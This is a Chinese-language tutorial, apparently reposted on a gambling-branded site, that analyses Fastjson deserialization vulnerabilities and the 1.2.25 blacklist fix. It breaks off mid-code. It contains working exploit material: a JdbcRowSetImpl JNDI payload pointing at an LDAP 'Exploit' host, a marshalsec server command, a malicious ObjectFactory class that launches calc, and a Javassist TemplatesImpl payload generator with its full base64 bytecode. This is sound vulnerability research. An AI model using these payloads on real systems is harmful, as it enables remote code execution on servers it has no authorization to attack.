JAVA反序列化—FastJson组件 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

JAVA反序列化—FastJson组件

申博_安全预警 申博 110次浏览 已收录 0个评论

推荐阅读时间:60min

全文字数:14026

前言

其实从一开始就是想着学一下fastjson组件的反序列化。结果发现完全理解不能。

就先一路补了很多其他知识点,RMI反序列化,JNDI注入,7u21链等(就是之前的文章),之后也是拖了很长时间,花了很长时间,总算把这篇一开始就想写的文,给补完了。

类似的文是已经有了不少,学习也是基于前辈们的文章一步步走来,但是个人习惯于把所有问题理清楚,讲清楚。理应是把大佬们的文要细致些。

本文需要前置知识:JNDI注入,7u21利用链,可以戳我往期的文章。

文章内容如下:

  1. fastjson组件基础介绍及使用(三种反序列化形式等)
  2. fastjson组件的被屏蔽的type标识的特性说明(默认调用setter、getter方法条件等)。
  3. 分析了fastjson组件1.2.24版本中JNDI注入利用链与setter参数巧妙完美适配(前置知识参考JNDI注入一文)
  4. 分析了fastjson组件1.2.24版本中JDK1.7TemplatesImpl利用链的漏洞触发点poc构造(前置知识参考7u21一文)
  5. 分析了1.2.24-1.2.46版本每个版本迭代中修改代码,修复思路和绕过。(此时由于默认白名单的引入,漏洞危害大降)
  6. 到了1.2.47通杀黑白名单漏洞,因为网上对于这个分析文有点过多。这边想着直接正向来没得意思。尝试从代码审计漏洞挖掘的角度去从零开始挖掘出这一条利用链。最后发现产生了一种我上我也行的错觉(当然实际上只是一种错觉,不可避免受到了已有payload的引导,但是经过分析也算是不会对大佬的0day产生一种畏惧心理,看完也是可以理解的)最后再看了下修复。

本文实验代码均上传github,那么想要好好学习的小伙伴请打开idea,配合食用。

fastjson组件

fastjson组件是阿里巴巴开发的反序列化与序列化组件,具体细节可以参考github文档

组件api使用方法也很简洁

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

我们通过demo来使用一下这个组件

以下使用测试均是基于1.2.24版本的fastjson jar包

靶机搭建需要存在漏洞的jar包,但是在github上通常会下架存在漏洞的jar包。

我们可以从maven仓库中找到所有版本jar包,方便漏洞复现。

fastjson组件使用

先构建需要序列化的User类:
User.java

package com.fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

再使用fastjson组件

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {

    public static void main(String[] args) {
        //创建一个用于实验的user类
        User user1 = new User();
        user1.setName("lala");
        user1.setAge(11);

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        //通过parse方法进行反序列化,返回的是一个JSONObject
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
        System.out.println("parse反序列化:"+obj1);

        //通过parseObject,不指定类,返回的是一个JSONObject
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
        System.out.println("parseObject反序列化:"+obj2);

        //通过parseObject,指定类后返回的是一个相应的类对象
        Object obj3 = JSON.parseObject(serializedStr,User.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);
    }
}

以上使用了三种形式反序列化
结果如下:

//序列化
serializedStr={"age":11,"name":"lala"}
//parse({..})反序列化
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"lala","age":11}
//parseObject({..})反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
//parseObject({},class)反序列化
parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552

parseObject({..})其实就是parse({..})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

而parseObject({},class)好像会调用class加载器进行类型转化,但这个细节不是关键,就不研究了

那么三种反序列化方式除了返回结果之外,还有啥区别?

在执行过程调用函数上有不同。

package com.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class FastJsonTest {

    public String name;
    public String age;
    public FastJsonTest() throws IOException {
    }

    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }

    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }

    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }

    public static void main(String[] args) {
        Object obj = JSON.parse("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj);

        Object obj2 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj2);

        Object obj3 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);
        System.out.println(obj3);
    }
}

结果如下:

//JSON.parse("")
name setter called
com.fastjson.FastJsonTest@5a2e4553
//JSON.parseObject("")
name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
//JSON.parseObject("",class)
name setter called
com.fastjson.FastJsonTest@e2144e4

结论:

  • parse(“”) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject(“”) 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
  • parseObject(“”,class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)

JAVA反序列化—FastJson组件

之所以parseObject(“”)有区别就是因为parseObject(“”)比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。

JAVA反序列化—FastJson组件

被屏蔽的type

那么除开正常的序列化,反序列化。
fastjson提供特殊字符段被屏蔽的type,这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的set,get方法。

我们先来看一下这个字段的使用:

//@使用特定修饰符,写入被屏蔽的type序列化
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
Object obj4 = JSON.parse(serializedStr1);
System.out.println("parse反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);

//通过这种方式返回的是一个相应的类对象
Object obj5 = JSON.parseObject(serializedStr1);
System.out.println("parseObject反序列化对象名称:"+obj5.getClass().getName());
System.out.println("parseObject反序列化:"+obj5);
//序列化
serializedStr1={"被屏蔽的type":"com.fastjson.User","age":11,"name":"lala"}
//parse反序列化
parse反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@1cf4f579
//parseObject反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}

这边在调试的时候,可以看到,本该解析出来的被屏蔽的type都没有解析出来

以上我们可以知道当被屏蔽的type输入的时候会特殊解析(不然的话会有被屏蔽的type:com.fastjson.User的键值对),那么自动调用其特定的set,get方法怎么说呢?

我们先建立一个序列化实验用的Person类

Person.java

package com.fastjson;

import java.util.Properties;

public class Person {
    //属性
    public String name;
    private String full_name;
    private int age;
    private Boolean sex;
    private Properties prop;
    //构造函数
    public Person(){
        System.out.println("Person构造函数");
    }
    //set
    public void setAge(int age){
        System.out.println("setAge()");
        this.age = age;
    }
    //get 返回Boolean
    public Boolean getSex(){
        System.out.println("getSex()");
        return this.sex;
    }
    //get 返回ProPerties
    public Properties getProp(){
        System.out.println("getProp()");
        return this.prop;
    }
    //在输出时会自动调用的对象ToString函数
    public String toString() {
        String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name  + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
}

被屏蔽的type反序列化实验:

package com.fastjson;

import com.alibaba.fastjson.JSON;

public class type {

    public static void main(String[] args) {
        String eneity3 = "{\"被屏蔽的type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
        //反序列化
        Object obj = JSON.parseObject(eneity3,Person.class);
        //输出会调用obj对象的tooString函数
        System.out.println(obj);
    }
}

结果如下:

Person构造函数
setAge()
getProp()
[Person Object] name=lala full_name=null, age=13, prop=null, sex=null

public name 反序列化成功
private full_name 反序列化失败
private age setAge函数被调用
private sex getsex函数没有被调用
private prop getprop函数被成功调用

可以得知:

  • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
  • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

决定这个set/get函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build函数处

JAVA反序列化—FastJson组件

在进入build函数后会遍历一遍传入class的所有方法,去寻找满足set开头的特定类型方法;再遍历一遍所有方法去寻找get开头的特定类型的方法

set开头的方法要求如下:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

寻找到符合要求的set开头的方法后会根据一定规则提取方法名后的变量名(好像会过滤_,就是set_name这样的方法名中的下划线会被略过,得到name)。再去跟这个类的属性去比对有没有这个名称的属性。

如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。

JAVA反序列化—FastJson组件

这里的is就是有的网上有的文章中说反序列化会自动调用get、set、is方法的由来。个人觉得这种说法应该是错误的。

真实情况应该是确认存在符合setXxx方法后,会与这个方法绑定一个xxx属性,如果xxx属性不存在则会绑定isXx属性(这里is后第一个字符需要大写,才会被绑定)。并没有调用is开头的方法

自己从源码中分析或者尝试在类中添加isXx方法都是不会被调用的,这里只是为了指出其他文章中的一个错误。这个与调用的set方法绑定的属性,再之后并没有发现对于调用过程有什么影响。

所以只要目标类中有满足条件的set方法,然后得到的方法变量名存在于序列化字符串中,这个set方法就可以被调用。

如果有老哥确定是否可以调用is方法,可以联系我,非常感谢。

JAVA反序列化—FastJson组件

get开头的方法要求如下:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

所以我们上面例子中的getsex方法没有被调用是因为返回类型不符合,而getprop方法被成功调用是因为Properties 继承 Hashtable,而Hashtable实现了Map接口,返回类型符合条件。

再顺便看一下最后触发方法调用的地方com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue,(在被调用的方法中下断点即可)

JAVA反序列化—FastJson组件

那么至此我们可以知道

  • 被屏蔽的type可以指定反序列化成服务器上的任意类
  • 然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
  • 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)

上面说到readObejct(“”)还会额外调用toJSON调用所有getter函数,可以不符合要求。

看上去应该是挺正常的使用逻辑,反序列化需要调用对应参数的setter、getter方法来恢复数据。

但是在可以调用任意类的情况下,如果setter、getter方法中存在可以利用的情况,就会导致任意命令执行。

对应反序列化攻击利用三要素来说,以上我们就是找到了readObject复写点,下面来探讨反序列化利用链。

我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持被屏蔽的type这个属性的。

【<=1.2.24】JNDI注入利用链——com.sun.rowset.JdbcRowSetImpl

利用条件

JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

当然JDK版本有特殊需求,在JNDI注入一文中已说过,这里就不再说明

利用链

在JNDI注入一文中我们已经介绍了利用链,把漏洞触发代码从

String uri = "rmi://127.0.0.1:1099/aa";//可控uri
Context ctx = new InitialContext();
ctx.lookup(uri);

衍生到了

import com.sun.rowset.JdbcRowSetImpl;

public class CLIENT {

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();//只是为了方便调用
        JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/aa");//可控uri
        JdbcRowSetImpl_inc.setAutoCommit(true);
    }
}

下面尝试用fastjson的被屏蔽的type来使服务端执行以上代码,可以看到我们需要调用的两个函数都是以set开头!这说明我们可以把这个函数当作setter函数进行调用!

去看一下这两个函数接口符不符合setter函数的条件

public void setDataSourceName(String var1) throws SQLException
 public void setAutoCommit(boolean var1)throws SQLException
  • [x] 方法名长度大于4且以set开头,且第四个字母要是大写
  • [x] 非静态方法
  • [x] 返回类型为void或当前类
  • [x] 参数个数为1个

完美符合!直接给出payload!

{
    "被屏蔽的type":"com.sun.rowset.JdbcRowSetImpl",   //调用com.sun.rowset.JdbcRowSetImpl函数中的
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit",   // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "autoCommit":true // 再调用setAutoCommit函数,传入true
}

java环境:jdk1.8.0_161 < 1.8u191 (可以使用ldap注入)

package 版本24;

import com.alibaba.fastjson.JSON;
import com.fastjson.User;
public class POC {
    String payload =   "{\"被屏蔽的type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}";
    JSON.parse(payload);
}

使用工具起一个ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

之前的ExecTest.class,也不用修改直接上来

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class ExecTest implements ObjectFactory {
    public ExecTest() {
    }

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
        exec("xterm");
        return null;
    }

    public static String exec(String var0) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

        return "";
    }

    public static void main(String[] var0) {
        exec("123");
    }
}

在1.8下编译后使用python起web服务

py -3 -m http.server 8090

JAVA反序列化—FastJson组件

【<=1.2.24】JDK1.7 的TemplatesImpl利用链

利用条件

基于JDK1.7u21 Gadgets 的触发点TemplatesImple的利用条件比较苛刻:

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
    JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

这是因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据

对于 JDK1.7u21 Gadgets 不熟悉的同学,可以参考我之前的文章。

在之前的文章也说过,TemplatesImpl对应的整条利用链是只有在JDK1.7u21附近的版本才能使用,但是最后TemplatesImpl这个类的触发点,其实是1.7全版本通用的。(因为修复只砍在了中间环节AnnotationInvocationHandler类)

那么实际上fastjson正是只利用了最后的TemplatesImpl触发点。这个利用方式实际上是1.7版本通用的。
其利用局限性在于服务端反序列化json的语句必须要支持private属性。

JAVA反序列化—FastJson组件

JAVA反序列化—FastJson组件

在Github上传的项目中版本24.jdk7u21.java是网上的payload。需要自己编译生成一个class文件不是很方便。

版本24.jdk7u21_mine中自己把7u21链的payload中拿过来,自己改了下,可以自动生成payload。

public class jdk7u21_mine {
    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话,原始模型需要用static方式。
    public static class lala{

    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚,参考以前的文章
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //之前说的静态初始化块和构造方法均可,这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        byte[] lalaByteCodes = cc.toBytecode();

        return lalaByteCodes;
    }
    //生成payload,触发payload
    public static void  poc() throws Exception {
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"被屏蔽的type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
        System.out.println(text1);
        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc而已
    public static void main(String args[]){
        try {
            poc();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

可以看到payload使用被屏蔽的type反序列化了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类。

最终payload输出如下:

{"被屏蔽的type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

7u21 那篇文中总结得到恶意TemplatesImple类需要满足如下条件。

  1. TemplatesImpl类的 _name 变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的 _bytecodes 变量 != null
  4. TemplatesImpl类的_bytecodes是我们代码执行的类的字节码。_bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  5. 我们需要执行的恶意代码写在_bytecodes 变量对应的类的静态方法或构造方法中。
  6. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类,使用jdk自带的TransformerFactoryImpl类

显而易见1-3,5均符合(_class没有赋值即为null)。

然后我们调用满足条件的恶意TemplatesImple类的getOutputProperties方法,完成RCE。这是fastjson将自动调用字段的getter方法导致的,我们看一下getOutputProperties方法是否满足自动调用getter方法的条件:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
  • [x] 方法名长度大于等于4
  • [x] 非静态方法
  • [x] 以get开头且第4个字母为大写
  • [x] 无传入参数
  • [x] 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong(上面举例的时候说过Properties继承自Hashtables,实现了Map,所以符合)

那么存在以下三个问题

  1. 为什么_tfactory可以是一个空的对象,而不是一个拥有getExternalExtensionsMap的类?
  2. _bytecodes为什么不再是字节码,而是需要base64编码?
  3. 我们要调用TemplatesImple类的getOutputProperties方法,但是为什么是_outputProperties字段,多了一个_

_tfactory为空的说明

在fastjson组件对于以上这一串东西进行解析时,会先解析出被屏蔽的type来还原出TemplatesImpl类。然后再根据之后的字段将TemplatesImpl类的属性赋值,至于赋值的内容会重新进行一次解析。

在看对于赋值内容的解析步骤时,会发现当赋值的值为一个空的Object对象时,会新建一个需要赋值的字段应有的格式的新对象实例。

/com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java:627

JAVA反序列化—FastJson组件

/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:62

JAVA反序列化—FastJson组件

那么_tfactory的应有的格式是哪来的呢,从定义来。

/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java

/**
     * A reference to the transformer factory that this templates
     * object belongs to.
     */
    private transient TransformerFactoryImpl _tfactory = null;

所以之所以_tfactory的json字符串的值为空是OK的。

_bytecodes需要base64编码

跟踪_bytecodes字段的值处理,同样还是刚才的地方,但是由于_bytecodes的值不是对象,进入另一个赋值方式。

/com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java:71

JAVA反序列化—FastJson组件

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

//进去后判断字段类型,当前是class[B byte数组,上面啥都不做,进行解析
        ...
        }
        JSONArray array = new JSONArray();
        parser.parseArray(componentClass, array, fieldName);//进入此处

        return (T) toObjectArray(parser, componentClass, array);
    }

com.alibaba.fastjson.parser.DefaultJSONParser#parseArray(java.lang.reflect.Type, java.util.Collection, java.lang.Object)

//type=class [B byte数组
//fieldName = _bytecodes
public void parseArray(Type type, Collection array, Object fieldName) {
...//这边就是在根据type类型进行不同的处理
} else {//byte数组进入此处
                        val = deserializer.deserialze(this, type, i);//在这句进行解析
                    }
                    array.add(val);
                    checkListResolve(array);
                }

                if (lexer.token() == JSONToken.COMMA) {
                    lexer.nextToken(deserializer.getFastMatchToken());
                    continue;
                }
            }
        } finally {
            this.setContext(context);
        }

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
        final JSONLexer lexer = parser.lexer;
        if (lexer.token() == JSONToken.NULL) {
            lexer.nextToken(JSONToken.COMMA);
            return null;
        }
        //我们输入的json串中, _bytecodes 字段对应的值是String类型字符串,进入此处
        if (lexer.token() == JSONToken.LITERAL_STRING) {
            byte[] bytes = lexer.bytesValue();//进入此处,获取json串的值恢复到byte数组
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }

com.alibaba.fastjson.parser.JSONScanner#bytesValue

public byte[] bytesValue() {
        return IOUtils.decodeBase64(text, np + 1, sp);//base64解码
    }

可见在代码逻辑中,字段的值从String恢复成byte[],会经过一次base64解码。这是应该是fastjson在传输byte[]中做的一个内部规定。序列化时应该也会对byte[]自动base64编码。

try一下,果然如此。

JAVA反序列化—FastJson组件

_getOutputProperties字段 => getOutputProperties方法

简单的删掉_试一下:

JAVA反序列化—FastJson组件

可以发现,并不会对结果造成什么影响,可见这个_不是必须的。

那么是在哪里对这个_进行了处理呢?

在字段解析之前,会对于当前字段进行一次智能匹配com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField:

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
                              Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer; 
        FieldDeserializer fieldDeserializer = smartMatch(key);//进入此处,根据json串的字段名来获取字段反序列化解析器。
    ...

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

public FieldDeserializer smartMatch(String key) {
        if (key == null) {
            return null;
        }

        FieldDeserializer fieldDeserializer = getFieldDeserializer(key);

        if (fieldDeserializer == null) {
            boolean startsWithIs = key.startsWith("is");
            ...
                //以下省略了对于is开头的字段的一些判断逻辑。
                //好像满足了一定条件,会去跟对应的符合getter,settger的方法名匹配。
                //好像又回到is方法可以调用不了,但是真的脑壳疼,漏洞关键也不在于此,就不纠结了。
            }
        }
        //遍历我们输入的key的每一个字符,匹配第一个-或_替换为空
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
                if (ch == '_') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == '-') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
         //接下来根据替换后的key2,去寻找对应符合getter,setter的方法名进行匹配。

JAVA反序列化—FastJson组件

然后在赋值的时候完美触发getoutputProperties方法。

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

public void setValue(Object object, Object value) {
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }

        try {
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    //判断特殊类型
                    ...
                    //进入getoutputProperties方法的返回值是Properties符合该一项(之前说过)
                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                        //进入调用,object是我们的恶意TemplatesImpl类
                        Map map = (Map) method.invoke(object);

那么以上流程就是_getOutputProperties字段 => getOutputProperties方法具体演变的细节。那么以上分析结果也让我们知道加个骚气的小杠-应该也是可以的。

JAVA反序列化—FastJson组件

至此就完成了在知道Templates触发类原理的情况下,变形衍生到了fastjson中完成RCE。

至于Templates恶意类的第二个触发点,xalan 2.7.2的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,在JDK反序列化Gadgets7u21一文中有补充说明,这里就不多说了。

Fastjson抗争的一生

在讲述完最开始引发漏洞的1.2.24版本之后,其实接下来的部分才是开起此篇的初衷。但是因为基础实在是差+懒,直到现在才开始正文。

1.2.24漏洞版本修复

在1.2.25版本,针对1.2.24版本进行了修复。

我们可以总结以下1.2.24版本的漏洞产生原因:

  1. 被屏蔽的type该关键词的特性会加载任意类,并给提供的输入字段的值进行恢复,如果字段有setter、getter方法会自动调用该方法,进行赋值,恢复出整个类。
    这个过程会被叫做fastjson的反序列化过程,注意不要把这个过程跟java反序列化过程混为一谈。它们两个是同等级的存在,而不是前者基于后者之上。也就是说readObject()反序列化利用点那一套在这根本不适用。相应的被屏蔽的type加载任意类+符合条件的setter与getter变成了反序列化利用点(个人总结的三要素中的反序列化漏洞触发点)。
  2. 在找到可以调用的setter、getter之后,从这个可以被出发的setter、getter之后就可以沿着不同的反序列化利用链前进,比如具有一定限制条件的TemplatesImpl利用链,JNDI注入的利用链。(个人总结三要素中的反序列化利用链)
  3. 沿着链就会到最后的payload触发点。比如JNDI的远程恶意class文件的实例化操作(构造函数,静态方法)或调用类中getObjectInstance方法,与TemplatesImpl利用链中的class文件字节码的的实例化操作(构造函数,静态方法)(个人总结三要素中的反序列化payload触发点)

可以注意到最终的payload触发点具有好像是巧合的统一性,都类似于是一个class文件的实例化操作。在commons-collections中则是反射机制(这在被屏蔽的type中的getter、setter函数调用中也被用到)。我们应该对这两个点产生敏感性。

修复则是针对三要素中的一者进行截断。在1.2.25中的修复原理就是针对了反序列化漏洞触发点进行限制。对于被屏蔽的type标签进行一个白名单+黑名单的限制机制。

使用万能的idea对两个版本的jar包进行对比

JAVA反序列化—FastJson组件

可以注意到,在解析json串的DefaultJSONParser类中做了一行代码的修改。当输入的键值是被屏蔽的type时,原本直接对值对应的类进行加载。现在会将值ref传入checkAutoType方法中。

checkAutoType是1.2.25版本中新增的一个白名单+黑名单机制。同时引入一个配置参数AutoTypeSupport。参考官方wiki

Fastjson默认AutoTypeSupport为False(开启白名单机制),通过需要服务端通过以下代码来显性修改。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); (关闭白名单机制)

由于checkAutoType中两条路线的代码是穿插的,我们先来看默认AutoTypeSupport为False时的代码。

1.2.25版本com.alibaba.fastjson.parser.ParserConfig#checkAutoType(开启白名单机制)

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');

        //一些固定类型的判断,此处不会对clazz进行赋值,此处省略

        if (!autoTypeSupport) {
            //进行黑名单匹配,匹配中,直接报错退出
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
